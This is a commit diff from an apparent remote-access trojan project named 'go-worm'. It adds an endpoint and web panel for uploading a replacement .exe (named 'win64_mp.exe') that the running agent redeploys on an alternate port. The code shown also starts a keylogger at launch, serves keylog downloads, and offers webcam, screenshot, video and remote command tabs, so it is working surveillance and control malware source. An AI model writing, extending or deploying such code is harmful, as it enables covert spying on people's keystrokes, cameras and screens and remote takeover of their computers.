feat(update): add update deployment via web UI
- Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI
This commit is contained in:
+19
-6
@@ -28,9 +28,19 @@ type Agent struct {
|
||||
startedAt time.Time
|
||||
}
|
||||
|
||||
func New() (*Agent, error) {
|
||||
// Config controls agent startup. Zero values use environment defaults.
|
||||
type Config struct {
|
||||
ListenAddr string
|
||||
Parallel bool
|
||||
}
|
||||
|
||||
func New(cfg Config) (*Agent, error) {
|
||||
addr := strings.TrimSpace(cfg.ListenAddr)
|
||||
if addr == "" {
|
||||
addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
|
||||
}
|
||||
a := &Agent{
|
||||
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
|
||||
addr: addr,
|
||||
startedAt: time.Now(),
|
||||
}
|
||||
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
||||
@@ -40,11 +50,13 @@ func New() (*Agent, error) {
|
||||
}
|
||||
a.root = resolved
|
||||
}
|
||||
guard, err := instance.Acquire()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if !cfg.Parallel {
|
||||
guard, err := instance.Acquire()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.guard = guard
|
||||
}
|
||||
a.guard = guard
|
||||
input.EnableDPIAwareness()
|
||||
if err := keylog.Start(); err != nil {
|
||||
helpers.Log.Printf("keylog start: %v", err)
|
||||
@@ -84,6 +96,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||
mux.HandleFunc("/api/v1/update", a.handleUpdate)
|
||||
|
||||
a.server = &http.Server{
|
||||
Addr: a.addr,
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/update"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
|
||||
)
|
||||
|
||||
@@ -567,3 +568,42 @@ func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Accept-Ranges", "bytes")
|
||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||
}
|
||||
|
||||
func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
|
||||
if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
|
||||
return
|
||||
}
|
||||
upload, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
defer upload.Close()
|
||||
if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe")
|
||||
return
|
||||
}
|
||||
|
||||
saved, nextAddr, err := update.Deploy(a.addr, upload)
|
||||
if err != nil {
|
||||
helpers.Log.Printf("update deploy: %v", err)
|
||||
if strings.Contains(err.Error(), "not available") {
|
||||
helpers.WriteError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"path": saved,
|
||||
"listen_address": nextAddr,
|
||||
"previous_listen_address": a.addr,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@
|
||||
let webcamRunning = false;
|
||||
let selectedLogName = "";
|
||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||
let currentListen = "";
|
||||
|
||||
function showError(message) {
|
||||
errorEl.textContent = message || "";
|
||||
@@ -129,6 +130,8 @@
|
||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||
];
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
currentListen = data.listen_address || "";
|
||||
syncUpdateMeta();
|
||||
statusFields.replaceChildren(
|
||||
...fields.map(([label, value]) => {
|
||||
const item = document.createElement("div");
|
||||
@@ -601,6 +604,31 @@
|
||||
}
|
||||
}
|
||||
|
||||
function alternatePort(addr) {
|
||||
const match = String(addr || "").match(/:(\d+)$/);
|
||||
const port = match ? Number(match[1]) : 5032;
|
||||
return port === 5032 ? 5033 : 5032;
|
||||
}
|
||||
|
||||
function syncUpdateMeta() {
|
||||
const meta = document.getElementById("update-meta");
|
||||
if (!meta) return;
|
||||
if (!currentListen) {
|
||||
meta.textContent = "Refresh status to see the current listen address.";
|
||||
return;
|
||||
}
|
||||
meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`;
|
||||
}
|
||||
|
||||
async function deployUpdate(file) {
|
||||
const form = new FormData();
|
||||
form.set("file", file);
|
||||
const res = await api("/api/v1/update", { method: "POST", body: form });
|
||||
const data = await res.json();
|
||||
const result = document.getElementById("update-result");
|
||||
result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`;
|
||||
}
|
||||
|
||||
async function runCommand() {
|
||||
const command = document.getElementById("exec-command").value.trim();
|
||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||
@@ -706,6 +734,19 @@
|
||||
document.getElementById("exec-run").addEventListener("click", () => {
|
||||
runCommand().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("update-deploy").addEventListener("click", () => {
|
||||
const picker = document.getElementById("update-picker");
|
||||
const file = picker.files[0];
|
||||
if (!file) {
|
||||
showError("choose a .exe file first");
|
||||
return;
|
||||
}
|
||||
deployUpdate(file)
|
||||
.then(() => {
|
||||
picker.value = "";
|
||||
})
|
||||
.catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
@@ -713,6 +713,7 @@
|
||||
<button data-tab="video" type="button">Video</button>
|
||||
<button data-tab="webcam" type="button">Webcam</button>
|
||||
<button data-tab="exec" type="button">Command</button>
|
||||
<button data-tab="update" type="button">Update</button>
|
||||
<button data-tab="logs" type="button">Logs</button>
|
||||
</nav>
|
||||
|
||||
@@ -879,6 +880,21 @@
|
||||
<pre id="exec-out"></pre>
|
||||
</section>
|
||||
|
||||
<section id="update" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Deploy update</h2>
|
||||
<p class="lede">Upload a new <code>win64_mp.exe</code>. The current instance keeps running; the new build starts on the alternate port (5032 ↔ 5033).</p>
|
||||
</div>
|
||||
</div>
|
||||
<p id="update-meta" class="meta">—</p>
|
||||
<div class="toolbar">
|
||||
<input id="update-picker" type="file" accept=".exe,application/octet-stream" aria-label="Update executable">
|
||||
<button id="update-deploy" class="primary" type="button">Deploy</button>
|
||||
</div>
|
||||
<p id="update-result" class="meta"></p>
|
||||
</section>
|
||||
|
||||
<section id="logs" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
|
||||
Reference in New Issue
Block a user